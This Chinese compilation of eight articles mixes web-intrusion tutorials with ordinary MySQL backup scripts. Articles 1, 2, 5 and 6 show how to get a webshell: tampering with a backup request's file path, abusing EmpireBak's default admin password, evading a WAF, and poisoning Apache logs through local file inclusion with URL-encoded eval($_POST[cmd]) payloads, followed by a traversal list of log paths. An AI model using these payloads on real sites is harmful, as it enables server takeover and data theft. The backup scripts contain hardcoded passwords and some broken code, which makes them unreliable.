简单突破数据库备份路径限制拿shell
【简介】感谢网友“k508i”参与投稿,这里小编给大家分享一些简单突破数据库备份路径限制拿shell(共8篇),方便大家学习。这里给大家分享一些简单突破数据库备份路径限制拿shell(共8篇),供大家参考。
篇1:简单突破数据库备份路径限制拿shell
作者:isosky
当后台可以数据库备份的时候,你是否顿时笑了?可当备份路径不能修改,而且后缀是mdb不变,你情何以堪?
这里就说个很简单的办法,进行一次数据库备份,并抓包下来,
POST /manage/DataManage.asp?From=Confirm&Action=DataBackup&Result=Site HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash,
application/QVOD, application/QVOD, */*
Referer: www.xxx.com.cn/manage/DataManage.asp?
From=Confirm&Action=DataBackup&Result=Site
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.xxx.com.cn
Content-Length: 82
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSADBRDSC=DOELADFALPBDPFKKHJGKGOAO; cnzz_a1183540=0; sin1183540=;
rtime=0; ltime=1307114195812; cnzz_eid=78248833-1307114200-
fromPath=..%2FDatabase%2Fameav_Site.mdb&toPath=..%2FDatabase%2FBak_ameav_Site.mdb
然后...然后...然后改路径,提交啊,路径可全在这了,
此外,如果RP够好.在提交表单的时候程序先从表单读值再执行备份的话,可以更YD..NC也不用了
1.如果你是用的火狐浏览器,装个Firebug 插件.即可随意YY~~
2.用的IE浏览器,可以使用啊D写的IE恶搞迷进行修改.不过大多时候是调用的网页,你需要找到真实的目标网页.才能去往真实的世界 :D
篇2:帝国备份王拿shell
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:fhod
帝国备份王(Empirebak)简介
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.
可在 www.phome.net/ebakos/ 下载到
默认账号密码为
admin 123456
登陆后先备份一次数据
备份时可选择备份到的目录,。默认有个safemod
当然也可以是别的..这里以safemod来说了
备份完毕后来到
管理备份目录打包并下载
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能
如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下
我是替换
config.php的内容
内容为
PHP代码
$b_table=“a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;
$tb[a]=1;
$tb[bak_guest3Book1]=1;
$tb[bak_info17Content1]=1;
$tb[bak_info17Sort1]=1;
$tb[bak_info18Content1]=1;
$tb[bak_info1Content1]=1;
$tb[bak_info1Sort1]=1;
$tb[bak_info2Content1]=1;
$tb[bak_info2Sort1]=1;
$tb[bak_info4Content1]=1;
$tb[bak_info4Sort1]=1;
$tb[bak_info5Content1]=1;
$tb[bak_info5Sort1]=1;
$tb[bak_info6Content1]=1;
$tb[bak_info6Sort1]=1;
$tb[bak_info7Content1]=1;
$tb[bak_info7Sort1]=1;
$tb[bak_info8Content1]=1;
$tb[bak_info8Sort1]=1;
$tb[bak_page12Content1]=1;
$tb[bak_page1Content1]=1;
$tb[bak_page21Content1]=1;
$tb[bak_poll20Inve1]=1;
$tb[bak_poll20InveCount1]=1;
$tb[bak_poll20InveOpt1]=1;
$tb[guest16Book1]=1;
$tb[guest3Book1]=1;
$tb[htmlImage]=1;
$tb[htmlImageTmp]=1;
$tb[info10Content1]=1;
$tb[info10Sort1]=1;
$tb[info12Content1]=1;
$tb[info12Sort1]=1;
$tb[info15Content1]=1;
$tb[info15Sort1]=1;
$tb[info17Content1]=1;
$tb[info17Sort1]=1;
$tb[info18Content1]=1;
$tb[info18Sort1]=1;
$tb[info19Content1]=1;
$tb[info19Sort1]=1;
$tb[info1Content1]=1;
$tb[info1Sort1]=1;
$tb[info2Content1]=7;
$tb[info2Sort1]=1;
$tb[info4Content1]=1;
$tb[info4Sort1]=1;
$tb[info5Content1]=1;
$tb[info5Sort1]=1;
$tb[info6Content1]=1;
$tb[info6Sort1]=1;
$tb[info7Content1]=1;
$tb[info7Sort1]=1;
$tb[info8Content1]=1;
$tb[info8Sort1]=1;
$tb[operatorPower]=1;
$tb[operators]=1;
$tb[page11Content1]=1;
$tb[page12Content1]=1;
$tb[page13Content1]=1;
$tb[page14Content1]=1;
$tb[page1Content1]=1;
$tb[page21Content1]=1;
$tb[poll20Inve1]=1;
$tb[poll20InveCount1]=1;
$tb[poll20InveOpt1]=1;
$tb[poll9Inve1]=1;
$tb[poll9InveCount1]=1;
$tb[poll9InveOpt1]=1;
$tb[system]=1;
$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname=“s422857db0”;
$b_stru=1;
$b_strufour=0;
$b_dbchar=“auto”;
$b_beover=0;
$b_insertf=“replace”;
$b_autofield=“,,”;
?>
然后替换
访问
www.xxx.com/upload/bdata/safemod/config.php
能看到 by fhod~~~~~
证明成功得到shell
密码为1
前提是要有管理密码能进入管理^_^
篇3:linux备份Mysql数据库shell
欢迎拍砖,详细内容如下:
# MYSQL 数据文件路径
MYSQL_DATA_PATH=“/usr/local/mysql/data/”
# 备份目录
MYSQL_DUMP_PATH=“***/DB/”
# 备份用户名
MYSQL_ACCOUNT=“mysql_backup”
# 备份密码
MYSQL_PASSWORD=“mysql_backup”
MYSQLDUMP_OPTS=“mysqldump -u$MYSQL_ACCOUNT -p$MYSQL_PASSWORD --single-transaction”
# 压缩命令 bzip2 -k 保留源文件
TAR_OPTS=“bzip2 ”
# 单个数据库进行备份
function BackDB{
FULLPATH=“$1”
#遍历目录
for dbName in $(/bin/ls $FULLPATH)
do
# check is database
fileType=`/usr/bin/file $FULLPATH$dbName | /bin/awk '{FS=“:”} {printf $2}'`
# 文件夹的类型为directory
if [ “directory” == $fileType ]; then
# start dump
if [ “$dbName” == “mysql” ]
|| [ “$dbName” == “test” ]
|| [ “$dbName” == “information_schema” ]
|| [ “$dbName” == “performance_schema” ]; then
echo “------------->$dbName not need dump!!”
else
echo $dbName
dumpName=$MYSQL_DUMP_PATH/“$dbName”_“$DATESTR”
$MYSQLDUMP_OPTS $dbName > “$dumpName”.sql
# 压缩备份档
$TAR_OPTS “$BACKUP_NAME”.sql
fi
else
printf '%s is not database ######## n' $dbName
fi
done
}
# 每个数据表单独备份
function BackDBTB(){
FULLPATH=“$1”
#遍历目录
for fName in $(/usr/bin/find $FULLPATH -name “*.ibd”)
do
dbPath=`echo “$fName” | /bin/awk 'BEGIN {FS=“'$FULLPATH'”} {printf $2}'`
# get database name
dbName=`echo “$dbPath” | /bin/awk 'BEGIN {FS=“/”} {printf $1}'`
# get table name
tbName=`echo “$dbPath” | /bin/awk 'BEGIN {FS=“/”} {printf $2}'`
# start dump
if [ “$dbName” == “mysql” ]
|| [ “$dbName” == “test” ]
|| [ “$dbName” == “information_schema” ]
|| [ “$dbName” == “performance_schema” ]; then
echo “------------->$dbName not need dump!!”
else
echo $dbName $tbName
dumpName=$MYSQL_DUMP_PATH/“$dbName”_“$tbName”_“$DATESTR”
$MYSQLDUMP_OPTS $dbName $tbName > “$dumpName”.sql
# 压缩备份档
$TAR_OPTS “$dumpName”.sql
fi
done
}
作者 babaoqi
篇4:自动备份mysql数据库 shell脚本
最近使用了testlink和mantis这2个测试相关的系统,而他们又全部是基于mysql+php开发的,因此定期备份数据库也是很有必要的,下面是自己写的一个简单的shell脚本,我的mysql是通过xampp这个套件安装的,因为这个套件可以一起安装testlink和mantis 需要的php+apache环境。
#!/bin/bash#this script. will backup the mysql databases and source code automatically.#Date: -11-21#Author: Cullen#variable listDbTestCase=testlink #testlink的数据库名称DbBug=bugtracker #mantis在mysql里的数据库名称DbUser=rootDbPwd=adminBackupPath=/root/mysql_backup/LogFile=/root/mysql_backup/log_file#check the backup file exists or notif [ ! -d $BackupPath ]; then mkdir $BackupPathfifor DbName in $DbTestCase $DbBug do NewFile=“$BackupPath”“$DbName”$(date +%y%m%d).tar.gz DumpFile=“$BackupPath”“$DbName”$(date ++%y%m%d).sql ldFile=“$BackupPath”“$DbName”$(date +%y%m%d --date='1 weeks ago').tar.gz echo “-----------------------------------------” echo $(date +“%y-%m-%d %H:%M:%S”) echo “-----------------------------------------” #create new backup file weekly if [ -f $NewFile ]; then echo “New backup file have exists!” else /opt/lampp/bin/mysqldump -uroot -padmin $DbName > $DumpFile tar czvf $NewFile $DumpFile rm -rf $DumpFile echo “[$NewFile] backup completely!” >> $LogFile fi #remove the obsolete file if [ -f $OldFile ]; then rm -f $OldFile echo “delete the old file: [$OldFile]” fi done
可以将这个脚本加入到cron例行程序里,就可以自动备份数据库了,
来自:blog.csdn.net/wangyiyan315/article/details/16944479
篇5:一次意外突破安全狗拿Shell
晚上闲来无事准备提权前几天拿的shell,无奈shell没有了进后台上传shell发先有狗。 aspx不支持。看了一个文章说安全狗“截断解析”无奈还是被拦截,
不说直接上图
截断解析是;x.asp;x.jpg 被拦截所以直接;x.asp 绕过狗思路最重要
篇6:linux下备份拿shell[渗透]网站安全
关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行,当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。
比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句
你可以
xxx.com/z.php?zizzy=/etc/inetd.conf
xxx.com/z.php?zizzy=/proc/cpuinfo
xxx.com/z.php?zizzy=/etc/passwd
就可以利用包含语句来查看一些系统环境和密码档文件。
那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf
读出Apache的配置信息,这里列出部分信息。
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
而我们提交xxx.com/z.php?zizzy=/home ... /logs/www-error_log
就可以读出Apache的错误日志记录
[Mon Jan 22 14:01:16 ] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php
[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script. /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script. /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script. /home/virtual/www.xxx.com/kkkkkkkk
而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。
比如我们提交要提交这句,
在这里,我们只能提交URL编码模式,因为我在测试中发现,
在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的
www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E
这样肯定会报出错找不到页面,而一出错就被记在错误日志里了
xxx.com/z.php?zizzy=/home ... /logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。
如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),
这样子也不错,
/home/
total 9
-rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php
drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc
-rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php
-rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php
-rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php
-rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3
-rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt
drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup
-rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php
这样就列出了home下的文件
或者直接一句话木马
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。
我们提交
www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E
再用lanker的一句话木马客户端一连就OK了。
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
比如还是这句一句话木马
到这里你也许就想到了,这是个很不错的办法,
接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入
fclose($fp);?> //在config.php里写入一句木马语句
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志,提交
xxx.com/z.php?zizzy=/home ... /logs/www-error_log
这样webshell就写入成功了,config.php里就写入一句木马语句
OK.
www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连,主机就是你的了。
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
其他的日志路径,你可以去猜,也可以参照这里。
附:收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
篇7:Linux shell实现每天定时备份mysql数据库
这篇文章主要介绍了Linux shell实现每天定时备份mysql数据库的代码,分享给大家,希望大家能够喜欢,
每天定时备份mysql数据库任务,删除指定天数前的数据,保留指定天的数据;
需求:
1,每天4点备份mysql数据;
2,为节省空间,删除超过3个月的所有备份数据;
3,删除超过7天的备份数据,保留3个月里的 10号 20号 30号的备份数据;
#创建shell文件vim backup_mysql.sh mysqldump -uroot -p123456 --all-databases > /data/dbdata/mysqlbak/`date +%Y%m%d`.sqlfind /data/dbdata/mysqlbak/ -mtime +7 -name ‘*[1-9].sql‘ -exec rm -rf {} ;find /data/dbdata/mysqlbak/ -mtime +92 -name ‘*.sql‘ -exec rm -rf {} ; #创建定时任务crontab Ce0 4 * * * /data/dbdata/backup_mysql.sh
以上所述就是本文的全部内容了,希望对大家能够熟练掌握shell脚本有所帮助,
篇8:linux定期备份MySQL数据库的Shell脚本linux操作系统
在liunux中我们先定义好一个备份mysql的Shell脚本,然后再通过linux中的Cron可以定时执行该脚本,备份会自动完成,下面我来分享一下我的mysql备份过程,
Shell脚本是我们写不同类型命令的一种脚本,这些命令在这一个文件中就可以执行。我们也可以逐
一敲入命令手动执行。如果我们要使用shell脚本就必须在一开始把这些命令写到一个文本文件中,以后
就可以随意反复运行这些命令了。
假定你已经知道shell scripting、 mysqldump和crontab。首先给出完整的脚本,后面会对该脚
本做说明。
适用操作系统:任何Linux或UNIX。
1.创建脚本
该Shell脚本可以自动备份数据库。只要复制粘贴本脚本到文本编辑器中,输入数据库用户名、密
码以及数据库名即可。这里我们备份数据库使用的是mysqldump 命令。后面会对每行脚本命令进行说明
。
(1)在你想要放置备份文件的目录下创建两个目录“backup”和“oldbackup”,这里使用的是根目录
代码如下复制代码1 #mkdir /backup
2 #mkdir /oldbackup
(2)创建并编辑文件“backup.sh”
代码如下复制代码1 #!bin/bash
2 cd /backup
3 echo “You are In Backup Directory”
4 mv backup* /oldbackup
5 echo “Old Databases are Moved to oldbackup folder”
6 Now=$(date +“%d-%m-%Y--%H:%M:%S”)
7 File=backup-$Now.sql
8 mysqldump –u user-name –p 'password' database-name > $File
9 echo “Your Database Backup Successfully Completed”
(3)设置 backup.sh 脚本文件的可执行许可
代码如下复制代码1 # chmod +x /backup/backup.sh(4)脚本执行
1 #./backup.sh
脚本运行结束后会得到以下输出:
代码如下复制代码1 root@Server1:/download#./backup.sh
2 You areinDownload Directory
3 Old Backup DatabaseisMoved to oldbackup folder
4 database backup successful completed
5 root@Server1:/download#
注:首次执行该脚本会有一个“no such file”的提示信息,这是由于旧备份文件还不存在,
只要
再次执行该脚本就没有问题了,这个问题已经不存在了。
2.脚本说明
在第8行命令中,在mysqldump命令后要输入自己的数据库用户名、密码及数据库名。
执行该脚本,首先会进入 /backup 目录(要与自己创建的目录保持一致),然后该脚本会把原有
的旧数据库备份移动到 /oldbackup 文件夹中,接着根据系统的日期及时间生成一个文件名,在最后
mysqldump 命令会生成一个“.sql”格式的数据库备份文件。
3.使用cron制定备份计划
使用Cron可以定时执行该脚本,备份会自动完成。使用 crontab 命令编辑cron 执行的计划任务
。
代码如下复制代码1 #crontab –e
在编辑器中输入一下代码,保存退出即可:
代码如下复制代码1 013* * * * /backup/backup.sh
本任务表示的是在每天下午1点钟把数据库备份到指定的文件夹(具体备份周期可根据自己的实际
情况设定)。有关cron任务设置的详细内容可以查阅crontab手册。
到这里一个定时自动备份mysql的功能就得以实现,为保证数据库的安全性,李坏建议大家都养成
备份数据库的习惯。